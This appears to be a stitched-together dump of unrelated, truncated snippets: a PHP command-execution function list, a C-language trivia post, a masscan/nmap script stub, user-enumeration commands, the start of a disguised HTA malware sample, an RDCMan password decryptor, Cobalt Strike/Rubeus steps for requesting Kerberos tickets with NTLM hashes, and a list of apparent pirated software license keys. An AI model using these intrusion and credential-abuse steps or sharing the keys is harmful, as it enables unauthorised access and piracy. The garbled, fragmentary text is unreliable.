vforvasilis

Command Execution

exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
\`\` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec - Executes a program

Here's a list of mildly interesting things about the C language that I learned mostly by consuming Clang's ASTs. Although surprises are getting sparser, I might continue to update this document over time.

There are many more mildly interesting features of C++, but the language is literally known for being weird, whereas C is usually considered smaller and simpler, so this is (almost) only about C.

1. Combined type and variable/field declaration, inside a struct scope [https://godbolt.org/g/Rh94Go]

struct foo {
   struct bar {
 int x;

	#!/usr/bin/python
	#
	# import masscan output and run an nmap scan on the results
	#

	import sys
	import argparse

	from libnmap.parser import NmapParser, NmapParserException
	from libnmap.process import NmapProcess

	Domain: TEST.local
	User Enumeration:
	Windows:
	net user
	net user /domain
	net user [username]
	net user [username] /domain
	wmic useraccount
	Mac:
	dscl . ls /Users

	## uploaded by @JohnLaTwC
	## sample hash: 1d37e2a657ccc595c7a5544df6fd2d35739455f3fdbc2d2700835873130befde
	<html>
	<head>
	<script language="JScript">
	window.resizeTo(1, 1);
	window.moveTo(-2000, -2000);
	window.blur();

	try

	# There is no facility to replace passwords in RDCMan once they are stored. The only way is to create a new custom credential.
	# If you open your *.rdg file in a text editor, locate the stored <password>, you can then decrypt it using this script.
	# This script can also encrypt a plain text password in rdg format which can be used to overwrite an existing one in the xml.
	Add-Type -AssemblyName System.Security;

	Function EncryptPassword {
	[CmdletBinding()]
	param([String]$PlainText = $null)

	# convert to RDCMan format: (null terminated chars)

	##### IF ELEVATED:

	# grab a TGT b64 blob with a valid NTLM/rc4 (or /aes256:X)
	beacon> execute-assembly /home/specter/Rubeus.exe asktgt /user:USER /rc4:NTLM_HASH

	# decode the base64 blob to a binary .kirbi
	$ base64 -d ticket.b64 > ticket.kirbi

	# sacrificial logon session (to prevent the TGT from overwriting your current logon session's TGT)
	beacon> make_token DOMAIN\USER PassWordDoesntMatter

	# coding=utf-8
	# python3

	from urllib.parse import urlparse

	import requests
	import urllib3

	from bs4 import BeautifulSoup

	Portable Version KEYS:
	P6Z3T-UYJC9-YAK3F-APN9M-6ZDSD
	FGZPK-93CWX-Q33Y6-D5URV-YXC3X
	9CZQX-9YAQA-PF33L-XVUQH-NSD48
	8RZ3L-H3Y5L-W2RY5-Z5M8N-C7Z2U
	CCZNU-LW3LF-K9V2T-MYZFF-94667
	EWZM6-3W4UX-KH922-C96GK-VGBH2

	Standard Version KEYS:
	4AZNW-S2YHE-LLMWM-J6EL8-7QKDL